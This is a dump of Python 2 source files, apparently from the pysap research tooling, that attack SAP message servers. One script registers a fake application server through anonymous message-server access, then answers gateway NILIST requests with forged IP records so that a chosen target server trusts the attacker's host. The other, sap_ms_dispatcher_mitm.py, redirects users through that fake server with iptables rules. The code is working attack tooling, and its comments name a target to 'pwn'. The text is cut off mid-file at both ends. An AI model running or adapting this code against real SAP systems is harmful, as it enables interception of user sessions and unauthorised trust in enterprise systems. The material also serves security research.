logon=SAPMSLogon(type=logon_type, 131 | port=port, 132 | address=address, 133 | logonname_length=0, 134 | prot_length=0, 135 | host_length=len(host), 136 | host=host, 137 | misc_length=4, 138 | misc='LB=9'))/Raw(load="\xff\xff") 139 | return p 140 | 141 | def mskey_parse_print(key): 142 | foo, key_t, key_u, respid = struct.unpack('!BBHL', key) 143 | logger.debug("got key %s, => session T%d_U%d_M0 (RespId %d)" % (key.encode('hex'), 144 | key_t, key_u, 145 | respid)) 146 | return key_t, key_u, respid 147 | 148 | # 149 | # Print meta info about the received packet 150 | # p: received SAPMS packet 151 | # 152 | def print_answer(p): 153 | fromname = p.fromname 154 | 155 | try: 156 | flag = ms_flag_values[p[SAPMS].flag] 157 | except: 158 | flag = "0" 159 | try: 160 | opcode = str(ms_opcode_values[p[SAPMS].opcode]) 161 | except: 162 | opcode = str(p[SAPMS].opcode) 163 | try: 164 | opcode_err = str(ms_opcode_error_values[p[SAPMS].opcode_error]) 165 | except: 166 | opcode_err = 'None' 167 | 168 | if opcode_err == 'MSOP_OK': 169 | opcode_err = green(opcode_err) 170 | else: 171 | opcode_err = red(opcode_err, bold=True) 172 | 173 | if p.key != null_key: 174 | mskey_parse_print(p.key) 175 | key = p.key.encode('hex') 176 | else: 177 | key = "NULL" 178 | 179 | logger.debug("flag: " + cyan(flag) + " opcode:" + cyan(opcode) + \ 180 | " opcode_error: " + green(opcode_err) + " key: %s" % key) 181 | 182 | # 183 | # Build "IP records" for ADM packet MS_REPLY|MS_SEND_NAME|AD_SELFIDENT 184 | # 185 | def ms_adm_build_ip_record(ip): 186 | # \x00\x00\x00\x01 187 | # \x00\x00\x00\x00 188 | # \x00\x00\x00\x00 189 | # \x00\x00\xff\xff <- looks like a netmask, but network order is same as the IP... 190 | # \x7f\x00\x00\x01 <- IP of interface (127.0.0.1) 191 | # \x00\x00\x00\x00 192 | # \x00\x0c\xe5 193 | # 35 * '\x00 ' <- some UTF-16-BE big space string (or LE if we take ' ' as first byte) 194 | return struct.pack("!I", 1) + struct.pack("!I", 0) + \ 195 | struct.pack("!I", 0) + socket.inet_aton("0.0.255.255") + \ 196 | socket.inet_aton(ip) + struct.pack("!I", 0) + "\x00\x00\x0c\xe5" + " \x00" * 35 + ' ' 197 | 198 | 199 | # required for kernel 720 200 | def ms_adm_build_old_ip_record(ip): 201 | # \x00\x00\x00\x00 202 | # \x00\x00\x00\x00 203 | # \x00\x00\xff\xff 204 | # \x7f\x00\x00\x01 205 | # (41 * ' ').encode('UTF-16-BE') 206 | 207 | return struct.pack("!II", 0, 0) + \ 208 | socket.inet_aton("0.0.255.255") + \ 209 | socket.inet_aton(ip) + \ 210 | (41 * ' ').encode('UTF-16-BE') 211 | 212 | # 213 | # Build a response to GWMON request 214 | # depends on the version of the kernel (720, 742 is hybrid, 745, or 749) 215 | # 216 | def ms_adm_nilist(p, whos_asking): 217 | print "[+] " + yellow("Generating AD_GET_NILIST_PORT answer for request with key", bold=True) + " '%s'" % p.key.encode('hex') 218 | fromname = str() 219 | toname = str() 220 | answer=1 221 | 222 | # extract info from key 223 | foo, key_t, key_u, key_respid = struct.unpack('!BBHL', p.key) 224 | 225 | fromname = my_name 226 | toname=p.fromname 227 | 228 | key = p.key 229 | flag = 'MS_REPLY' 230 | opcode_version = 5 231 | adm_type = 'ADM_REPLY' 232 | rec=' '*100 233 | recno=0 234 | records=None 235 | 236 | r = SAPMS(toname=toname, 237 | fromname=fromname, 238 | key=key, 239 | domain='ABAP', 240 | flag=flag, 241 | iflag='MS_SEND_NAME', 242 | opcode='MS_DP_ADM', 243 | opcode_version=p.opcode_version, 244 | opcode_charset=p.opcode_charset, 245 | dp_version=p.dp_version, 246 | adm_recno=recno, 247 | adm_type=adm_type, 248 | adm_records=records) 249 | 250 | ############################### 251 | # 745 KERNEL and sometime 742 # 252 | ############################### 253 | # why "sometime" for 742? 254 | # they have both programs, old "RSMONGWY_SEND_NILIST" and new "RGWMON_SEND_NILIST" 255 | # they both use dp_version=13, but IP list format expected in the ADM layer is a 256 | # bit different between both programs. 257 | if p.dp_version == 13: 258 | r.adm_recno = 4 259 | if 'RSMONGWY_SEND_NILIST' in whos_asking: 260 | r.adm_records = [SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, 261 | serial_number=0, executed=answer), 262 | SAPMSAdmRecord(opcode='AD_GET_NILIST', 263 | record=ms_adm_build_old_ip_record("127.0.0.1"), 264 | serial_number=0, executed=answer), 265 | SAPMSAdmRecord(opcode='AD_GET_NILIST', 266 | record=ms_adm_build_old_ip_record("127.0.0.2"), 267 | serial_number=1, executed=answer), 268 | SAPMSAdmRecord(opcode='AD_GET_NILIST', 269 | record=ms_adm_build_old_ip_record(fake_as["ip"]), 270 | serial_number=2, executed=answer)] 271 | else: 272 | r.adm_records = [SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, 273 | serial_number=0, executed=answer), 274 | SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', 275 | record=ms_adm_build_ip_record("127.0.0.1"), 276 | serial_number=0, executed=answer), 277 | SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', 278 | record=ms_adm_build_ip_record("127.0.0.2"), 279 | serial_number=1, executed=answer), 280 | SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', 281 | record=ms_adm_build_ip_record(fake_as["ip"]), 282 | serial_number=2, executed=answer)] 283 | r.dp_info1 = SAPDPInfo1(dp_req_len = 452, 284 | dp_req_prio = 'MEDIUM', 285 | 286 | dp_type_from = 'BY_NAME', 287 | dp_fromname=my_name, 288 | dp_agent_type_from = 'DISP', 289 | dp_worker_from_num = p.dp_info1.dp_worker_to_num, 290 | 291 | dp_addr_from_t = p.dp_info1.dp_addr_from_t, 292 | dp_addr_from_u = p.dp_info1.dp_addr_from_u, 293 | dp_addr_from_m = 0, 294 | dp_respid_from = p.dp_info1.dp_respid_from, 295 | 296 | dp_type_to = 'BY_NAME', 297 | dp_toname=p.fromname, 298 | dp_agent_type_to = 'WORKER', 299 | dp_worker_type_to = 'DIA', 300 | dp_worker_to_num = p.dp_info1.dp_worker_from_num, 301 | 302 | dp_addr_to_t = p.dp_info1.dp_addr_from_t, 303 | dp_addr_to_u = p.dp_info1.dp_addr_from_u, 304 | dp_addr_to_m = p.dp_info1.dp_addr_from_m, 305 | dp_respid_to = p.dp_info1.dp_respid_from, 306 | 307 | dp_req_handler='REQ_HANDLER_ADM_RESP', 308 | 309 | dp_blob_worker_from_num = p.dp_info1.dp_worker_from_num, 310 | dp_blob_addr_from_t = p.dp_info1.dp_addr_from_t, 311 | dp_blob_addr_from_u = p.dp_info1.dp_addr_from_u, 312 | dp_blob_respid_from = p.dp_info1.dp_blob_respid_from, 313 | dp_blob_dst = (' '*35).encode('UTF-16-BE')) 314 | 315 | ############## 316 | # 720 KERNEL # 317 | ############## 318 | # Here we use old IP list format 319 | # and a much simpler DP layer 320 | if p.dp_version == 11: 321 | r.adm_recno = 4 322 | r.adm_records = [SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, 323 | serial_number=0, executed=answer), 324 | SAPMSAdmRecord(opcode='AD_GET_NILIST', 325 | record=ms_adm_build_old_ip_record("127.0.0.1"), 326 | serial_number=0, executed=answer), 327 | SAPMSAdmRecord(opcode='AD_GET_NILIST', 328 | record=ms_adm_build_old_ip_record("127.0.0.2"), 329 | serial_number=1, executed=answer), 330 | SAPMSAdmRecord(opcode='AD_GET_NILIST', 331 | record=ms_adm_build_old_ip_record(fake_as["ip"]), 332 | serial_number=2, executed=answer)] 333 | 334 | r.dp_info2 = SAPDPInfo2(dp_req_prio = 'MEDIUM', 335 | dp_blob_14 = p.dp_info2.dp_blob_14, 336 | dp_name_to = p.fromname, 337 | dp_addr_from_t = 255, 338 | 339 | dp_blob_09 = '\xff\xcc', 340 | dp_blob_10 = '\x01\x00', 341 | 342 | dp_addr_from_u = 0, 343 | dp_addr_from_m = 0, 344 | 345 | dp_addr_to_t = key_t, 346 | dp_addr_to_u = key_u, 347 | dp_addr_to_m = 0, 348 | dp_respid_to = key_respid, 349 | 350 | dp_blob_19 = 1, 351 | dp_blob_21 = 105) 352 | ############## 353 | # 749 KERNEL # 354 | ############## 355 | # That's use on latest kernel like S4HANA servers 356 | if p.dp_version == 14: 357 | r.adm_recno = 4 358 | r.adm_records = [SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, 359 | serial_number=0, executed=answer), 360 | SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', 361 | record=ms_adm_build_ip_record("127.0.0.1"), 362 | serial_number=0, executed=answer), 363 | SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', 364 | record=ms_adm_build_ip_record("127.0.0.2"), 365 | serial_number=1, executed=answer), 366 | SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', 367 | record=ms_adm_build_ip_record(fake_as["ip"]), 368 | serial_number=2, executed=answer)] 369 | r.dp_info3 = SAPDPInfo3(dp_req_len = 348, 370 | dp_req_prio = 'MEDIUM', 371 | 372 | dp_type_from = 'BY_NAME', 373 | dp_fromname=my_name, 374 | dp_agent_type_from = 'DISP', 375 | dp_worker_from_num = p.dp_info3.dp_worker_to_num, 376 | 377 | dp_addr_from_t = p.dp_info3.dp_addr_from_t, 378 | dp_addr_from_u = p.dp_info3.dp_addr_from_u, 379 | dp_addr_from_m = 0, 380 | dp_respid_from = p.dp_info3.dp_respid_from, 381 | 382 | dp_type_to = 'BY_NAME', 383 | dp_toname=p.fromname, 384 | dp_agent_type_to = 'WORKER', 385 | dp_worker_type_to = 'DIA', 386 | dp_worker_to_num = p.dp_info3.dp_worker_from_num, 387 | 388 | dp_addr_to_t = p.dp_info3.dp_addr_from_t, 389 | dp_addr_to_u = p.dp_info3.dp_addr_from_u, 390 | dp_respid_to = p.dp_info3.dp_respid_from, 391 | dp_padd25 = 1, 392 | dp_req_handler='REQ_HANDLER_ADM_RESP', 393 | 394 | dp_padd29 = p.dp_info3.dp_padd29, 395 | dp_padd30 = p.dp_info3.dp_padd30, 396 | dp_padd31 = p.dp_info3.dp_padd31, 397 | dp_padd32 = p.dp_info3.dp_padd32) 398 | open("/tmp/dp.bin", "wb").write(str(SAPNI()/r)) 399 | return r 400 | 401 | def as_print(as_d, active=True): 402 | if not as_d.keys(): return 403 | print "-"*120 404 | for a in as_d.keys(): 405 | if active and as_d[a]['status'] != 1: # ACTIVE 406 | continue 407 | print ("%s" % a).ljust(30) + "| " + \ 408 | ("%s" % as_d[a]['host']).ljust(20) + "| " + \ 409 | ("%s" % as_d[a]['ip']).ljust(16) + "| " + \ 410 | ("%s" % as_d[a]['port']).ljust(8) + "| " + \ 411 | ("%s" % as_d[a]['type']).ljust(27) + "| " + \ 412 | ("%s" % as_d[a]['status']) 413 | print "-"*120 414 | 415 | def ms_connect(mshost, msport, login_packet): 416 | try: 417 | s = SAPNIStreamSocket.get_nisocket(mshost, msport) 418 | except socket.error: 419 | logger.error("[!] Connection error to %s:%s" % (mshost, msport)) 420 | exit(-1) 421 | logger.debug("[+] Sending MS_LOGIN_2") 422 | r = s.sr(login_packet) 423 | print_answer(r) 424 | return s 425 | 426 | def ms_logout(s): 427 | logger.debug("[+] Sending MS_LOGOUT") 428 | try: 429 | s.send(p_logout) 430 | s.close() 431 | except: 432 | logger.error("Socket error when sending MS_LOGOUT") 433 | 434 | 435 | # Send a sequence of 3 packets to get the list of application servers 436 | # registered to the message server This is called anonymous because 437 | # fromname is '-' 438 | def ms_get_server_list_anon(s): 439 | as_list_d = dict() 440 | for p in p_get_server_list_l: 441 | logger.debug("[+] Sending %s" % ms_opcode_values[p.opcode]) 442 | s.send(p) 443 | r = s.recv() 444 | 445 | if not r.clients: 446 | logger.error("[!] Answer doesn't contain server list.") 447 | return as_list_d 448 | 449 | print_answer(r) 450 | for c in r.clients: 451 | as_list_d[c.client.strip()] = {"host": c.host.strip(), 452 | "ip": c.hostaddrv4, 453 | "port": c.servno, 454 | "type": c.sprintf('%SAPMSClient4.msgtype%'), 455 | "status": ms_client_status_values[c.status]} 456 | return as_list_d 457 | 458 | # This is a slighty different packets for getting server list when we 459 | # are not anonymous anymore 460 | def ms_get_server_list(s, key): 461 | as_list_d = dict() 462 | p = SAPMS(fromname=my_name, 463 | toname=msg_server_name, 464 | key=key, 465 | flag='MS_REQUEST', 466 | opcode='MS_SERVER_LST', 467 | opcode_error='MSOP_OK', 468 | opcode_version=104, 469 | opcode_charset=3) 470 | 471 | r = s.sr(p) 472 | 473 | if not r.clients: 474 | logger.error("[!] Answer doesn't contain server list.") 475 | #s.close() 476 | return as_list_d # dict() 477 | 478 | print_answer(r) 479 | for c in r.clients: 480 | as_list_d[c.client.strip()] = {"host": c.host.strip(), 481 | "ip": c.hostaddrv4, 482 | "port": c.servno, 483 | "type": c.sprintf('%SAPMSClient4.msgtype%'), 484 | "status": ms_client_status_values[c.status]} 485 | return as_list_d 486 | 487 | def extract_serv_ver(r, substr, l): 488 | return r[r.index(substr)+len(substr):r.index(substr)+len(substr)+l] 489 | 490 | ######################### 491 | # GLOBAL PACKETS / VARS # 492 | ######################### 493 | 494 | sleep = 1 495 | # that's you 496 | short_host = "sapdev%.4d" % (random.randint(0, 9999)) 497 | fake_as = {"ip": net_get_ip(), 498 | "host": short_host, 499 | "diag_port": 3200, 500 | "rfc_port": 3300, 501 | "fqdn": "%s.fake.tld" % short_host} 502 | 503 | # that's our target we want to pwn 504 | attacked_as = {"ip": "172.16.100.50", 505 | "host": "sap-abap-01", 506 | "msport": 3901, 507 | "sid": "DEV", 508 | "instance": "00", 509 | "release":"745", 510 | "patchno":"15"} 511 | 512 | 513 | my_name = gen_ms_servername(fake_as["host"], attacked_as["sid"], attacked_as["instance"]) 514 | anon_name = '-' + ' '*39 515 | 516 | msg_server_name = 'MSG_SERVER' # \x00MsgServer\x00FN_CHECK\x00FN_TP\x00tp$(' 517 | null_key = "\x00" * 8 518 | 519 | p_logout = SAPMS(toname=anon_name, 520 | fromname=anon_name, 521 | flag=0, 522 | iflag='MS_LOGOUT') 523 | 524 | p_login_anon = SAPMS(toname=anon_name, 525 | fromname=anon_name, 526 | flag=0, 527 | iflag='MS_LOGIN_2') 528 | 529 | p_login_diag = SAPMS(toname=anon_name, 530 | fromname=my_name, 531 | msgtype='DIA+UPD+BTC+SPO+UP2+ICM', 532 | flag=0, 533 | iflag='MS_LOGIN_2', 534 | diag_port=fake_as['diag_port']) 535 | 536 | p_login_rfc = SAPMS(toname=anon_name, 537 | fromname=my_name, 538 | msgtype='DIA+UPD+BTC+SPO+UP2+ICM', 539 | flag=0, 540 | iflag='MS_LOGIN_2', 541 | diag_port=fake_as['rfc_port']) 542 | 543 | p_reload = SAPMS(toname=msg_server_name, 544 | fromname=anon_name, 545 | flag='MS_REQUEST', 546 | opcode='MS_FILE_RELOAD', 547 | opcode_version=1, 548 | opcode_charset=3, 549 | opcode_value=6) 550 | 551 | p_checkacl = SAPMS(toname=msg_server_name, 552 | fromname=anon_name, 553 | flag='MS_REQUEST', 554 | opcode='MS_CHECK_ACL', 555 | opcode_version=1, 556 | opcode_charset=0) 557 | 558 | p_kernel_info = SAPMS(toname=msg_server_name, 559 | flag='MS_REQUEST', 560 | fromname=my_name, 561 | opcode='MS_DUMP_INFO', 562 | dump_command='MS_DUMP_RELEASE', 563 | dump_dest=2, 564 | ) 565 | 566 | p_prop_set_release = SAPMS(toname=msg_server_name, 567 | flag='MS_REQUEST', 568 | fromname=my_name, 569 | opcode='MS_SET_PROPERTY', 570 | opcode_charset=0, 571 | property=SAPMSProperty(id='Release information', 572 | release='745', 573 | patchno=0, 574 | platform=390)) 575 | p_prop_set_service = SAPMS(fromname=my_name, 576 | toname=msg_server_name, 577 | flag='MS_REQUEST', 578 | iflag='MS_SEND_NAME', 579 | opcode='MS_SET_PROPERTY', 580 | opcode_version=1, 581 | opcode_charset=0, 582 | property=SAPMSProperty(client='', 583 | id='MS_PROPERTY_SERVICE', 584 | service=1))/Raw(load='\x07') 585 | 586 | p_get_server_list_l = [ SAPMS(fromname=anon_name, 587 | toname=msg_server_name, 588 | flag='MS_ONE_WAY', 589 | iflag='MS_SEND_NAME', 590 | opcode='MS_SERVER_LONG_LIST', 591 | opcode_version=1, 592 | opcode_charset=0), 593 | 594 | SAPMS(fromname=anon_name, 595 | toname=msg_server_name, 596 | flag='MS_ONE_WAY', 597 | iflag='MS_SEND_NAME', 598 | opcode='MS_SERVER_LONG_LIST', 599 | opcode_version=1, 600 | opcode_charset=0), 601 | 602 | SAPMS(fromname=anon_name, 603 | toname=msg_server_name, 604 | flag='MS_REQUEST', 605 | iflag='MS_SEND_NAME', 606 | opcode='MS_SERVER_LST', 607 | opcode_version=104, 608 | opcode_charset=3) ] 609 | 610 | p_mod_state = SAPMS(fromname=my_name, 611 | toname=anon_name, 612 | msgtype='DIA+ENQ', 613 | flag='MS_REQUEST', 614 | iflag="MS_MOD_STATE") 615 | 616 | 617 | p_change_ip = SAPMS(fromname=my_name, 618 | toname=msg_server_name, 619 | flag='MS_REQUEST', 620 | iflag='MS_SEND_NAME', 621 | opcode='MS_CHANGE_IP', 622 | opcode_version=2, 623 | opcode_charset=0, 624 | change_ip_addressv4=fake_as["ip"], 625 | change_ip_addressv6='::ffff:' + fake_as["ip"]) 626 | 627 | p_set_ip_property = SAPMS(fromname=my_name, 628 | toname=anon_name, 629 | flag='MS_REQUEST', 630 | iflag='MS_SEND_NAME', 631 | opcode='MS_SET_PROPERTY')/SAPMSProperty(client=my_name, 632 | id='MS_PROPERTY_IPADR', 633 | address=fake_as['ip']) 634 | 635 | p_change_active = SAPMS(fromname=my_name, 636 | toname=anon_name, 637 | flag='MS_REQUEST', 638 | iflag='MS_MOD_STATE', 639 | msgtype='DIA') 640 | 641 | p_server_long_list = SAPMS(fromname=my_name, 642 | toname=msg_server_name, 643 | flag='MS_REQUEST', 644 | iflag='MS_SEND_NAME', 645 | opcode='MS_SERVER_LONG_LIST', 646 | opcode_version=1, 647 | opcode_charset=0) 648 | p_server_chg = SAPMS(fromname=my_name, 649 | toname=msg_server_name, 650 | flag='MS_REQUEST', 651 | iflag='MS_SEND_NAME', 652 | opcode='MS_SERVER_CHG', 653 | opcode_version=4, 654 | opcode_charset=0) 655 | 656 | p_get_hwid = SAPMS(fromname=my_name, 657 | toname=msg_server_name, 658 | flag='MS_REQUEST', 659 | iflag='MS_SEND_NAME', 660 | opcode='MS_GET_HWID', 661 | opcode_version=1, 662 | opcode_charset=0, 663 | hwid=struct.pack("!I", os.getpid())) 664 | 665 | 666 | if __name__ == '__main__': 667 | signal.signal(signal.SIGINT, sigint_handler) 668 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) 669 | parser.add_argument('-H', '--host', default='sap-abap-01', help='AS victim IP/hostname (default: sap-abap-01)') 670 | parser.add_argument('-P', '--port', default=3901, type=int, help='AS internal message server port (default: 3901)') 671 | parser.add_argument('-d', '--debug', action='store_true', help='Show debug info') 672 | parser.add_argument('-q', '--quiet', action='store_true', help='Don\'t show any info messages') 673 | 674 | args = parser.parse_args() 675 | 676 | prog = 'sap_ms_dispatcher_mitm' 677 | if args.quiet: 678 | logger = init_logger(prog, logging.NOTSET) 679 | elif args.debug: 680 | logger = init_logger(prog, logging.DEBUG) 681 | else: 682 | logger = init_logger(prog, logging.INFO) 683 | 684 | # update our default conf with customized version: 685 | attacked_as["host"] = args.host 686 | attacked_as["msport"] = args.port 687 | 688 | conf.L3Socket = StreamSocket 689 | # SAPMS layer 690 | bind_layers(TCP, SAPNI) 691 | bind_layers(TCP, SAPNI) 692 | bind_layers(SAPNI, SAPMS) 693 | # SAPDIAG layer 694 | bind_layers(SAPDiagDP, SAPDiag,) 695 | bind_layers(SAPDiag, SAPDiagItem,) 696 | bind_layers(SAPDiagItem, SAPDiagItem,) 697 | 698 | # 1- Simple Login / Logout 699 | s = ms_connect(attacked_as["host"], attacked_as["msport"], p_login_anon) 700 | logger.debug("[+] Sending MS_LOGOUT") 701 | ms_logout(s) 702 | 703 | # 2- Login, ask to reload ACL file and check ACL 704 | s = ms_connect(attacked_as["host"], attacked_as["msport"], p_login_anon) 705 | logger.debug("[+] Sending MS_FILE_RELOAD") 706 | r = s.sr(p_reload) 707 | print_answer(r) 708 | logger.debug("[+] Sending MS_CHECK_ACL") 709 | r = s.sr(p_checkacl) 710 | print_answer(r) 711 | ms_logout(s) 712 | 713 | #3 - Getting kernel version 714 | logger.debug("[+] Sending MS_DUMP_RELEASE") 715 | s = ms_connect(attacked_as["host"], attacked_as["msport"], p_login_anon) 716 | r = s.sr(p_kernel_info) 717 | attacked_as["release"] = int(extract_serv_ver(r[SAPMS].opcode_value, 'kernel release = ', 3)) 718 | attacked_as["patchno"] = int(extract_serv_ver(r[SAPMS].opcode_value, 'source id = 0.', 3)) 719 | logger.info("kernel=%s, patch_nbr=%s" % (attacked_as["release"], attacked_as["patchno"])) 720 | 721 | # 4- Login and set property with our release information 722 | s = ms_connect(attacked_as["host"], attacked_as["msport"], p_login_anon) 723 | 724 | logger.debug("[+] Sending MS_SET_PROPERTY") 725 | p = p_prop_set_release 726 | p.property.release = attacked_as["release"] 727 | p.property.patchno = attacked_as["patchno"] 728 | r = s.sr(p) 729 | print_answer(r) 730 | ms_logout(s) 731 | 732 | # 5- Login back now with our "service" name 733 | 734 | s = ms_connect(attacked_as["host"], attacked_as["msport"], p_login_diag) 735 | logger.debug("[+] Sending MS_MOD_STATE") 736 | s.send(p_mod_state) 737 | 738 | # 6- Set IP address 739 | logger.debug("[+] Sending MS_CHANGE_IP") 740 | r = s.sr(p_change_ip) 741 | print_answer(r) 742 | 743 | # 7- Set Logon information (RFC) 744 | logger.debug("[+] Sending MS_SET_LOGON (rfc)") 745 | r = s.sr(ms_build_set_logon("diag", fake_as)) 746 | print_answer(r) 747 | 748 | r = s.sr(ms_build_set_logon("rfc", fake_as)) 749 | print_answer(r) 750 | 751 | r = s.sr(ms_build_set_logon("rfc", fake_as)) 752 | print_answer(r) 753 | 754 | # 9- Set status to ACTIVE 755 | logger.debug("[+] Changing status to ACTIVE") 756 | s.send(p_change_active) 757 | 758 | # 10- Check that we are properly registered (AS dump) 759 | ms_get_server_list_anon(s) 760 | as_list_d = ms_get_server_list_anon(s) 761 | if not as_list_d.keys(): 762 | print "AS list is void, you have a protocol issue. Relaunch the script." 763 | exit(0) 764 | as_print(as_list_d, False) 765 | 766 | #debug_dp() 767 | # 11- Select a target we will force to trust us 768 | print "Choose which AS you want to target?" 769 | target_list = as_list_d.keys() 770 | if my_name.strip() in target_list: target_list.remove(my_name.strip()) 771 | if "-" in target_list: target_list.remove("-") 772 | print red("\n".join(target_list)) 773 | if len(target_list) == 1: 774 | print "Selecting automatically unique target '%s'" % target_list[0] 775 | target = target_list[0] 776 | else: 777 | target = raw_input("? ") 778 | 779 | # 11- Here looping and answer to RGWMON_SEND_NILIST + SELFIDENT packets 780 | while True: 781 | logger.info("Waiting for packets...") 782 | r = s.recv() 783 | 784 | # most of the case when packet is properly parsed 785 | if r.haslayer(SAPMSAdmRecord): 786 | rec = r.adm_records[0].record 787 | if not rec: continue 788 | opc = ms_adm_opcode_values[r.adm_records[0].opcode] 789 | 790 | # discard packets if key is NULL 791 | if r.key == null_key: continue 792 | foo, key_t, key_u, key_respid = struct.unpack('!BBHL', r.key) 793 | print "%s > %s: key '%s' = session T%d_U%d_M0 (RespId %d)" % (yellow(r[SAPMS].fromname.strip()), 794 | yellow(r[SAPMS].toname.strip()), 795 | r.key.encode('hex'), key_t, key_u, key_respid) 796 | 797 | if 'RGWMON_SEND_NILIST' in rec or 'RSMONGWY_SEND_NILIST' in rec: 798 | if args.debug: r.show() 799 | print "%s > %s: Ask for RGWMON_SEND_NILIST report" % (yellow(r[SAPMS].fromname.strip()), 800 | yellow(r[SAPMS].toname.strip())) 801 | # let's filter out packets from other AS 802 | if r[SAPMS].fromname.strip() != target: 803 | print "Dropping packet as it's not from our target." 804 | continue 805 | 806 | p = ms_adm_nilist(r, rec) 807 | if args.debug: 808 | p.show() 809 | hexdump(p) 810 | print "Len request:", len(r) 811 | print "Len answer:", len(p) 812 | s.send(p) 813 | 814 | # Case where parsing is broken (because some DP ADM packets are sent with 815 | # opcode = MS_SERVER_CHG and that's not handled in SAPMS... 816 | # there are SAPAdmRecords but the DP layer has not been parsed properly 817 | # so nothing makes really sense 818 | # 819 | # This was observed on 30.14 (kernel 742, patchlevel 28) 820 | if r.adm_eyecatcher.startswith('\x0d') and 'SEND_NILIST' in str(r): 821 | str_r = str(r) 822 | dp = SAPDPInfo1(str_r[0x77:]) 823 | ad_rec_offset = str_r.find('AD-EYECATCH')+35 824 | if 'RSMONGWY_SEND_NILIST' in str_r: rec = 'RSMONGWY_SEND_NILIST' 825 | elif 'RGWMON_SEND_NILIST' in str_r: rec = 'RGWMON_SEND_NILIST' 826 | 827 | p = SAPMS() 828 | p.key = r.key 829 | p.fromname = r.fromname 830 | p.toname = r.toname 831 | p.dp_version = 13 832 | p.dp_info1 = dp 833 | 834 | pp = ms_adm_nilist(p, rec) 835 | if args.debug: 836 | pp.show() 837 | hexdump(pp) 838 | print "Len request:", len(r) 839 | print "Len answer:", len(pp) 840 | s.send(pp) 841 | -------------------------------------------------------------------------------- /sap_ms_dispatcher_mitm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # =========== 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # Copyright (C) 2018-2019, Mathieu @gelim Geli 6 | # 7 | # The library was designed and developed by Mathieu Geli from 8 | # ERPScan Corporation's Labs team. 9 | # 10 | # This program is free software; you can redistribute it and/or 11 | # modify it under the terms of the GNU General Public License 12 | # as published by the Free Software Foundation; either version 2 13 | # of the License, or (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # ============== 20 | 21 | from pysap.SAPNI import SAPNI,SAPNIStreamSocket 22 | from pysap.SAPMS import SAPMS,SAPMSProperty,SAPMSLogon,SAPMSClient4,SAPMSAdmRecord 23 | from pysap.SAPMS import ms_flag_values,ms_iflag_values,ms_opcode_values 24 | from pysap.SAPMS import ms_client_status_values,ms_opcode_error_values 25 | from pysap.SAPMS import ms_adm_opcode_values, ms_adm_rzl_strg_type_values 26 | from pysap.SAPDiag import SAPDiag, SAPDiagDP 27 | from pysap.SAPDiagItems import * 28 | from scapy.supersocket import StreamSocket 29 | from scapy.sendrecv import sniff 30 | from scapy.utils import hexdump,inet_ntoa,inet_aton 31 | from scapy.packet import bind_layers 32 | from scapy.layers.inet import TCP,Raw 33 | from scapy.config import conf 34 | from ansicolor import red,green,blue,yellow,cyan,magenta 35 | from pprint import pprint 36 | import subprocess 37 | import argparse 38 | import datetime 39 | import tempfile 40 | import logging 41 | import socket 42 | import struct 43 | import random 44 | import signal 45 | import time 46 | import sys 47 | import os 48 | import re 49 | 50 | 51 | help_desc = ''' 52 | Register via Message Server a fake AS for a given logon group and redirect 53 | users to the real one. This requires network access to the MS internal port 39NN. 54 | -- gelim 55 | ''' 56 | 57 | def sigint_handler(signal, frame): 58 | # Undo here our storage modification via ADM packets 59 | try: 60 | r = s.sr(p_adm_del_i) 61 | r = s.sr(p_adm_del_c_lg) 62 | except: 63 | logger.error("Got an exception when deleting our dispatcher from LG") 64 | pass 65 | 66 | # restore logon groups 67 | logger.info("") 68 | logger.info("[+] Restoring previous LG server") 69 | for lg in logon_groups_init.keys(): 70 | p = p_adm_write_c_lg 71 | p.adm_records[0].rzl_strg_name = lg 72 | p.adm_records[0].rzl_strg_value = logon_groups_init[lg] 73 | try: 74 | r = s.sr(p) 75 | except: 76 | pass 77 | 78 | # Dump the updated LG info for verification 79 | try: 80 | r = s.sr(p_adm_readall_ofs) 81 | records_ofs = parse_adm_readall_ofs(r) 82 | except Exception as e: 83 | logger.error("Got an exception when reading MS storage") 84 | logger.error(e.message) 85 | pass 86 | 87 | # clean iptables rules 88 | logger.info("[+] Cleaning iptables rules") 89 | disable_iptables_redirect(attacked_as['iface'], as_ip, as_port, 90 | fake_as['ip'], fake_as['diag_port'], comment) 91 | 92 | ms_logout(s) 93 | exit(0) 94 | 95 | # Init logging subsystem 96 | # name = will be used as part of filename 97 | # (and internal name for logger) 98 | def init_logger(logname, level): 99 | # generic log conf 100 | logger = logging.getLogger(logname) 101 | logger.setLevel(level) 102 | file_format = logging.Formatter("%(asctime)s [%(levelname)-6s] %(message)s") 103 | console_format = logging.Formatter("[%(levelname)-5s] %(message)s") 104 | # console handler 105 | ch = logging.StreamHandler(sys.stdout) 106 | ch.setLevel(level) 107 | ch.setFormatter(console_format) 108 | logger.addHandler(ch) 109 | 110 | # file handler 111 | # using parent pid in filename to have 'session'-like log files 112 | logfile="%s/%s_%d.log" % (tempfile.gettempdir(), logname, os.getppid()) 113 | fh = logging.FileHandler(logfile, "a") 114 | fh.setLevel(level) 115 | fh.setFormatter(file_format) 116 | logger.addHandler(fh) 117 | return logger 118 | 119 | def net_get_ip(): 120 | return [(s.connect(('8.8.8.8', 53)), 121 | s.getsockname()[0], 122 | s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1] 123 | 124 | def gen_ms_servername(host, sid, instance): 125 | ms_fromname_len = 40 # hardcoded stuff 126 | as_name = '%s_%s_%s' % (host, sid, instance) 127 | num_space = 40 - len(as_name) 128 | if num_space < 0: 129 | logger.error("[!] You have a hostname too long (hostname: %s)" % host) 130 | logger.error(" Shorten it by %d chars at least " % -num_space) 131 | exit(1) 132 